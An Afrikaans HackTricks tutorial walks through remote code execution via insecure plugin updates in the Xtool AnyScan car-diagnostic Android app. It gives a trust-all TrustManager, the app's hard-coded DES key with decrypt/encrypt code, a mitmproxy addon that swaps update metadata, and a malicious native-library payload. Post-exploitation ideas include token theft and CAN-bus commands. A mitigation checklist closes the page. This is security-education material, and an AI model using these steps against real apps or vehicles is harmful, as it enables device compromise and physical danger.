6.0 KiB
Onveilige In-App Opdateringsmeganismes – Afgeleide Kode-uitvoering via Kwaadwillige Plugins
{{#include ../../banners/hacktricks-training.md}}
Baie Android-toepassings implementeer hul eie “plugin” of “dinamiese kenmerk” opdateringskanale in plaas van om die Google Play Store te gebruik. Wanneer die implementering onveilig is, kan 'n aanvaller wat die verkeer kan onderskep arbitraire nativ kode verskaf wat binne die app-proses gelaai sal word, wat lei tot volle Afgeleide Kode-uitvoering (RCE) op die toestel – en in sommige gevalle op enige eksterne toestel wat deur die app beheer word (motors, IoT, mediese toestelle …).
Hierdie bladsy som 'n werklike kwesbaarheidsketting op wat in die Xtool AnyScan motor-diagnose app (v4.40.11 → 4.40.40) gevind is en generaliseer die tegniek sodat jy ander Android-toepassings kan auditeer en die mis-konfigurasie kan wapen tydens 'n rooi-span betrokkenheid.
1. Identifisering van 'n Onveilige TLS TrustManager
- Decompileer die APK met jadx / apktool en lokaliseer die netwerkstapel (OkHttp, HttpUrlConnection, Retrofit…).
- Soek vir 'n aangepaste
TrustManagerofHostnameVerifierwat blindelings elke sertifikaat vertrou:
public static TrustManager[] buildTrustManagers() {
return new TrustManager[]{
new X509TrustManager() {
public void checkClientTrusted(X509Certificate[] chain, String authType) {}
public void checkServerTrusted(X509Certificate[] chain, String authType) {}
public X509Certificate[] getAcceptedIssuers() {return new X509Certificate[]{};}
}
};
}
- As dit teenwoordig is, sal die toepassing enige TLS-sertifikaat aanvaar → jy kan 'n deursigtige MITM-proxy met 'n self-onderteken sertifikaat laat loop:
mitmproxy -p 8080 -s addon.py # see §4
iptables -t nat -A OUTPUT -p tcp --dport 443 -j REDIRECT --to-ports 8080 # on rooted device / emulator
2. Omgekeerde Ingenieurswese van die Opdatering Metadata
In die AnyScan geval aktiveer elke app-lancering 'n HTTPS GET na:
https://apigw.xtoolconnect.com/uhdsvc/UpgradeService.asmx/GetUpdateListEx
Die responsliggaam is 'n XML-dokument waarvan die <FileData> knope Base64-gecodeerde, DES-ECB versleutelde JSON bevat wat elke beskikbare plugin beskryf.
Tipiese jagstappe:
- Vind die kripto-routine (bv.
RemoteServiceProxy) en herstel:
- algoritme (DES / AES / RC4 …)
- werkingmodus (ECB / CBC / GCM …)
- hard-gecodeerde sleutel / IV (dikwels 56-bis DES sleutels of 128-bis AES sleutels in konstantes)
- Her-implementeer die funksie in Python om die metadata te ontsleutel / te versleutel:
from Crypto.Cipher import DES
from base64 import b64decode, b64encode
KEY = IV = b"\x2A\x10\x2A\x10\x2A\x10\x2A" # 56-bit key observed in AnyScan
def decrypt_metadata(data_b64: str) -> bytes:
cipher = DES.new(KEY, DES.MODE_ECB)
return cipher.decrypt(b64decode(data_b64))
def encrypt_metadata(plaintext: bytes) -> str:
cipher = DES.new(KEY, DES.MODE_ECB)
return b64encode(cipher.encrypt(plaintext.ljust((len(plaintext)+7)//8*8, b"\x00"))).decode()
3. Skep 'n Kwaadwillige Plugin
- Kies enige legitieme plugin ZIP en vervang die inheemse biblioteek met jou payload:
// libscan_x64.so – constructor runs as soon as the library is loaded
__attribute__((constructor))
void init(void){
__android_log_print(ANDROID_LOG_INFO, "PWNED", "Exploit loaded! uid=%d", getuid());
// spawn reverse shell, drop file, etc.
}
$ aarch64-linux-android-gcc -shared -fPIC payload.c -o libscan_x64.so
$ zip -r PWNED.zip libscan_x64.so assets/ meta.txt
- Werk die JSON-metadata op sodat
"FileName" : "PWNED.zip"en"DownloadURL"na jou HTTP-bediener wys. - DES-enkripteer + Base64-kodeer die gewysigde JSON en kopieer dit terug binne die onderskepte XML.
4. Lewer die Payload met mitmproxy
addon.py voorbeeld wat stilweg die oorspronklike metadata verwissel:
from mitmproxy import http
MOD_XML = open("fake_metadata.xml", "rb").read()
def request(flow: http.HTTPFlow):
if b"/UpgradeService.asmx/GetUpdateListEx" in flow.request.path:
flow.response = http.Response.make(
200,
MOD_XML,
{"Content-Type": "text/xml"}
)
Voer 'n eenvoudige webbediener uit om die kwaadwillige ZIP te huisves:
python3 -m http.server 8000 --directory ./payloads
Wanneer die slagoffer die app begin, sal dit:
- ons vervalste XML oor die MITM-kanaal verkry;
- dit met die hard-gekodeerde DES-sleutel ontcijfer en ontleed;
PWNED.zipaflaai → uitpak binne private stoor;dlopen()die ingeslote libscan_x64.so, wat ons kode onmiddellik uitvoer met die app se toestemmings (kamera, GPS, Bluetooth, lêerstelsel, …).
Omdat die plugin op skyf gekas is, bly die agterdeur oor herlaai en loop elke keer wanneer die gebruiker die verwante funksie kies.
5. Post-Exploitation Idees
- Steel sessie koekies, OAuth tokens, of JWTs wat deur die app gestoor word.
- Laat 'n tweede-fase APK val en installeer dit stilweg via
pm install(die app het reedsREQUEST_INSTALL_PACKAGES). - Misbruik enige gekonnekteerde hardeware – in die AnyScan-scenario kan jy arbitrêre OBD-II / CAN bus opdragte stuur (deure ontgrendel, ABS deaktiveer, ens.).
Opsporing & Versagting Kontrolelys (blou span)
- NOOIT 'n produksiebou met 'n pasgemaakte TrustManager/HostnameVerifier wat sertifikaatvalidasie deaktiveer, stuur nie.
- Moet nie uitvoerbare kode van buite Google Play aflaai nie. As jy moet, teken elke plugin met dieselfde apkSigning v2 sleutel en verifieer die handtekening voordat jy laai.
- Vervang swak/hard-gekodeerde kripto met AES-GCM en 'n bediener-kant draaiende sleutel.
- Verifieer die integriteit van afgelaaide argiewe (handtekening of ten minste SHA-256).
Verwysings
- NowSecure – Remote Code Execution Discovered in Xtool AnyScan App
- Android – Unsafe TrustManager patterns
{{#include ../../banners/hacktricks-training.md}}